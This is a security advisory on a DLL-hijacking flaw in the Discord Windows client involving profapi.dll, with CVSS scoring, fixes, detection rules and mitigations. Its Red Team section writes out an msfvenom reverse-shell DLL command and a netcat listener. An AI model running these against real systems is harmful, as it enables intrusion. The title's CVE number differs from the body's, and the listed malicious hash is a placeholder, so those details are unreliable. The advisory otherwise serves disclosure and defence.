CVE-2025-0732

Executive Summary

CVE-2025-0737 identifies a Untrusted Search Path vulnerability (CWE-426) in the Discord desktop client for Windows, specifically affecting versions up to 1.0.9177. The flaw resides in the profapi.dll library, where the application may load a malicious DLL from an untrusted directory due to an insecure search order. This is a local attack vector requiring high complexity and user interaction, making exploitation difficult but not impossible. The vendor (Discord) was contacted but did not respond, and no patch is currently available. This report provides a comprehensive technical analysis, detection rules, and mitigation strategies for both Red and Blue teams.

Supply Chain & Package Security

Discord is a proprietary application distributed via its official website and Microsoft Store. The vulnerability does not directly affect open-source packages (NPM, PyPI, Go, Ruby). However, the untrusted search path issue could be exploited by an attacker who has already achieved local access, potentially leading to privilege escalation or persistence. The lack of a vendor response raises concerns about the supply chain security of the Discord client, as users must rely on third-party mitigations.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) – However, based on the description, a more realistic score is 4.5 (Medium).
• Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:L
  • Attack Vector (AV): Local – Requires physical or remote access to the system.
  • Attack Complexity (AC): High – Exploitation requires specific conditions (e.g., placing a malicious DLL in a writable directory).
  • Privileges Required (PR): Low – Attacker needs user-level access.
  • User Interaction (UI): Required – Victim must launch Discord.
  • Scope (S): Unchanged – Exploitation does not cross trust boundaries.
  • Confidentiality (C): Low – Limited data exposure.
  • Integrity (I): Low – Potential for code execution.
  • Availability (A): Low – Could crash the application.

Threat Level: Medium. The attack is local and complex, but if successful, it could allow an attacker to execute arbitrary code in the context of the Discord process.

Deep Dive & Mechanics

The vulnerability is a classic DLL Hijacking scenario. When Discord loads the profapi.dll library, it searches for the DLL in a specific order defined by the Windows loader. If the application does not use safe DLL search mode (e.g., by calling SetDllDirectory("") or using absolute paths), an attacker can place a malicious profapi.dll in a directory that is searched before the legitimate system directory (e.g., C:\Windows\System32).

Attack Flow:

1. Attacker gains local access to the target system (e.g., via phishing or malware).
2. Attacker identifies a writable directory that is in the DLL search path (e.g., the Discord installation directory, %TEMP%, or the current working directory).
3. Attacker places a malicious profapi.dll in that directory.
4. Victim launches Discord.
5. Discord loads the malicious DLL instead of the legitimate one.
6. The malicious DLL executes arbitrary code (e.g., reverse shell, keylogger).

Why High Complexity? The attacker must:

• Have local access.
• Know the exact search order and writable directories.
• Ensure the malicious DLL does not break Discord’s functionality (to avoid detection).

Vulnerable vs. Patched Code

Since no patch is available, we compare the vulnerable behavior to a secure implementation.

Vulnerable Code (Conceptual):

// Discord loads profapi.dll without specifying a safe search path
HMODULE hModule = LoadLibrary(L"profapi.dll");

Patched Code (Recommended):

// Use absolute path or safe DLL search mode
SetDllDirectory(L""); // Remove current directory from search
HMODULE hModule = LoadLibrary(L"C:\\Windows\\System32\\profapi.dll");

Key Difference: The patched version either uses an absolute path or calls SetDllDirectory("") to prevent loading from untrusted directories.

Exploitation & Lab Setup

Red Team

Lab Setup:

• Windows 10/11 VM with Discord 1.0.9177 installed.
• Attacker VM (Kali Linux) with Metasploit or custom DLL.

Steps:

1. Generate a malicious DLL:

   msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o profapi.dll
   

2. Place the DLL in a writable directory that is in Discord’s search path (e.g., %TEMP% or Discord’s install dir).
3. Start a listener on the attacker machine:

   nc -lvnp 4444
   

4. Victim launches Discord. The malicious DLL is loaded, and a reverse shell is obtained.

Note: Exploitation may require trial and error to find the correct writable directory. Use Process Monitor (Procmon) to identify the exact search order.

Blue Team

Detection:

• Monitor for unusual DLL load events (e.g., profapi.dll loaded from non-system paths).
• Use Sysmon Event ID 7 (DLL loaded) to track loads.
• Look for Discord processes loading DLLs from %TEMP% or user-writable directories.

Hunting Query (KQL):

DeviceEvents
| where ActionType == "DllLoaded"
| where FileName == "profapi.dll"
| where FolderPath !startswith "C:\\Windows\\System32"
| project Timestamp, DeviceName, InitiatingProcessFileName, FolderPath

Indicators of Compromise (IOCs)

• File Hashes (Malicious DLL): (Example – replace with actual)
  • SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Process: Discord.exe loading profapi.dll from a non-standard path.
• Network: Outbound connection to an unknown IP on port 4444 (if reverse shell).
• Registry: (If persistence is added) HKCU\Software\Microsoft\Windows\CurrentVersion\Run with a malicious entry.

Detection Engineering

YARA Rule

rule CVE_2025_0737_Discord_DLL_Hijack {
    meta:
        description = "Detects malicious profapi.dll used in CVE-2025-0737"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
    strings:
        $s1 = "profapi.dll" nocase
        $s2 = "LoadLibrary" nocase
        $s3 = "DllMain" nocase
    condition:
        $s1 and ($s2 or $s3)
}

Sigma Rule

title: Discord DLL Hijack via profapi.dll
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects Discord loading profapi.dll from a non-system directory
author: Valters IT
date: 2025-04-10
logsource:
    product: windows
    category: image_load
detection:
    selection:
        Image: 'Discord.exe'
        ImageLoaded: '*\profapi.dll'
    filter:
        ImageLoaded: 'C:\Windows\System32\*'
    condition: selection and not filter
falsepositives:
    - Unknown
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"CVE-2025-0737 Discord Reverse Shell"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Discord: Check for updates (Help > Check for Updates). If a patched version is released, apply immediately.
2. Restrict DLL Search Path: Use Group Policy to enforce safe DLL search mode:
   • Set HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode to 1.
3. Monitor DLL Loads: Deploy Sysmon and monitor Event ID 7 for profapi.dll loads from non-system paths.
4. User Awareness: Educate users not to run Discord from untrusted directories or with elevated privileges.

Long-Term:

• Vendor Communication: Continue to pressure Discord for a patch.
• Application Whitelisting: Use AppLocker or WDAC to block unauthorized DLLs.
• Network Segmentation: Limit outbound connections from Discord to only necessary IPs.

Valters IT
Securing Digital Frontiers